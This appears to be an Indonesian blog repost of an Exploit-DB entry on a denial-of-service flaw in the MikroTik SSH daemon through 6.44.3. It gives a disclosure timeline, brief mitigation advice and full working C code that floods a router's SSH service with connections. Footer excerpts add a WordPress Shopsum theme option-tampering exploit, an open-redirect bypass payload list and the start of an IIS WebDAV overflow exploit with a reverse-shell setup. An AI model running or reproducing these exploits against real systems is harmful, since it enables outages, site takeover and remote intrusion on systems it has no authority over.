Langsung ke konten utama

Microtik SSH Daemon 6.44.3 - Denial of Service (PoC)

# Excploit Title: Microtik SSH Daemon 6.44.3 - Denial of Service (PoC)
# Author: Hosein Askari
# Date: 2020-03-18
# Vendor Homepage: https://mikrotik.com/
# Model: hAP lite
# Processor architecture: smips
# Affected Version: through 6.44.3
# CVE: N/A

#Description:
An uncontrolled resource consumption vulnerability in SSH daemon on MikroTik routers through v6.44.3 could allow remote attackers to generate CPU activity, trigger refusal of new authorized connections with SIGPIPE signal(SIGPIPE is the "broken pipe" signal, which is sent to a process when it attempts to write to a pipe whose read end has closed or when it attempts to write to a socket that is no longer open for reading. The default action is to terminate the process) and cause a reboot via connect and write system calls because of uncontrolled resource management.
#details:
The issue reported in 02/25/2020 to the Mikrotik
First response by Mikrotik in 02/26/2020
The additional information about exploit and PoC video sent in 02/26/2020
The vulnerability is accepted by "Reinis-Jānis S" from mikrotik security team in 02/27/2020 and asked for providing the CVE number and disclosure date
#PoC:
#Mitigation:
It can be mitigated with firewall filter and service port restrictions.
Solution:
Hardening and tuning the daemon for these 2 parameters:
1- Number of allowed unauthenticated connections to ssh daemon
2- Maximum number of connections at which we start dropping everything for ssh daemon
PoC:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define MAX_CON 32
#define MAX_THREADS 16

int Socket(char *ip, char *port) {
    struct addrinfo hints, *ret, *p;
    int sock, r; 
    ssize_t bytes;
    char buffer[2048];
    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    if((r=getaddrinfo(ip, port, &hints, &ret))!=0) {
        return EXIT_FAILURE;
       }
    for(p = ret; p != NULL; p = p->ai_next) {
        if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
            continue;
        }
        if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
            close(sock);
            continue;
        }
        break;
    }
    if(ret)
        freeaddrinfo(ret);
    fprintf(stderr, "ESTABLISHED  %s:%s\n", ip, port);
    return sock;
}

void signal_callback_handler(int signum){
        printf("Caught signal SIGPIPE %d\n",signum);
}

void mal(char *ip, char *port, int id) {
    int sockets[MAX_CON];
    int i, g=1, r;
    for(i=0; i!= MAX_CON; i++)
        sockets[i]=0;
    signal(SIGPIPE, signal_callback_handler);
    while(1) {
        for(i=0; i!= MAX_CON; i++) {
            if(sockets[i] == 0)
                sockets[i] = Socket(ip, port);
            r=write(sockets[i], "\0", 1);
            if(r == -1) {
                close(sockets[i]);
                sockets[i] = Socket(ip, port);
            }
        }
        usleep(200000);
    }
}

int main(int argc, char **argv) {
    int i;
    for(i=0; i!= MAX_THREADS; i++) {
        if(fork())
            mal(argv[1], argv[2], i);
        usleep(200000);
    }
    getc(stdin);
    return 0;
}
#########

Sincerely,
Hosein Askari
Preference : https://www.exploit-db.com/exploits/48228

Komentar

Postingan populer dari blog ini

Wordpress Premium Themes Shopsum Unauthenticated Configuration

# Exploit  Title : Wordpress Premium Themes Shopsum Unauthenticated Configuration Access Vulnerability # Author  : Mr.Buckethead # Date  : November 13th, 2014 # Category  : Web Applications # Vulnerability  : Unauthenticated Configuration Access # Tested  On : Windows 7 32-bit, Backbox # Dork  : inurl:/wp-content/themes/shopsum/hades_framework/ or use ur imagination #Exploit : http://localhost/path/wp-content/themes/shopsum/hades_framework/option_panel/ajax.php # POC  : Save File As Python (.py) = import httplib, urllib # target  site site = "victim" #<--- no http:// or https:// # path  to ajax.php url = "t/wp-content/themes/shopsum/hades_framework/option_panel/ajax.php" def ChangeOption(site, url, option_name, option_value): params = urllib.urlencode({'action': 'save', 'values[0][name]': option_name, 'values[0][value]': option_value}) headers = {"Content-type": "application/x-www-form-urlencoded", "Accept...

Open Redirect Bypass Cheat Sheet

Open Redirect Bypass Cheat Sheet   Yoo Cherry     August 3, 2019     Cheat Sheet ,  Web Hacking     No Comments Open Redirect Bypass Cheat Sheet.  Open redirect  adalah celah yang memungkinkan attacker untuk mengarahkan pengunjung dari situs terpercaya ke situs malware atau phising tanpa autentifikasi dari admin situs. Bergantung pada arsitektur situs web yang rentan, pengalihan bisa terjadi setelah tindakan tertentu, seperti login, dan terkadang hal itu bisa terjadi seketika saat memuat sebuah halaman. Open Redirect Bypass Cheat Sheet http://3H6k7lIAiqjfNeN@[::ffff:216.58.214.206] http://XY>.7d8T\205pZM@[::ffff:216.58.214.206] http://0xd8.072.54990 http://www.whitelisteddomain.tld@0xd8.072.54990 http://3H6k7lIAiqjfNeN@0xd8.072.54990 http://XY>.7d8T\205pZM@0xd8.072.54990 http://0xd8.3856078 http://www.whitelisteddomain.tld@0xd8.3856078 http://3H6k7lIAiqjfNeN@0xd8.3856078 http://XY>.7d8T\205pZM@0xd8.3856078 ...

Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow

/*******************************************************************/ /* [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt] */ /* --------------------------------------------------------------- */ /* this is the exploit for ntdll.dll through WebDAV. */ /* run a netcat ex: nc -L -vv -p 666 */ /* wb server.com your_ip 666 0 */ /* the shellcode is a reverse remote shell */ /* you need to pad a bit.. the best way I think is launching */ /* the exploit with pad = 0 and after that, the server will be */ /* down for a couple of seconds, now retry with pad at 1 */ /* and so on..pad 2.. pad 3.. if you haven't the shell after */ /* something like pad at 10 I think you better to restart from */ /* pad at 0. On my local IIS the pad was at 1 (0x00110011) but */ /* on all the others servers it was at 2,3,4, etc..sometimes */ /* you can have the force with you, and get the shell in 1 try */ /* sometimes you need to pad more than 10 times ;) */ /* the shellcode was coded by m...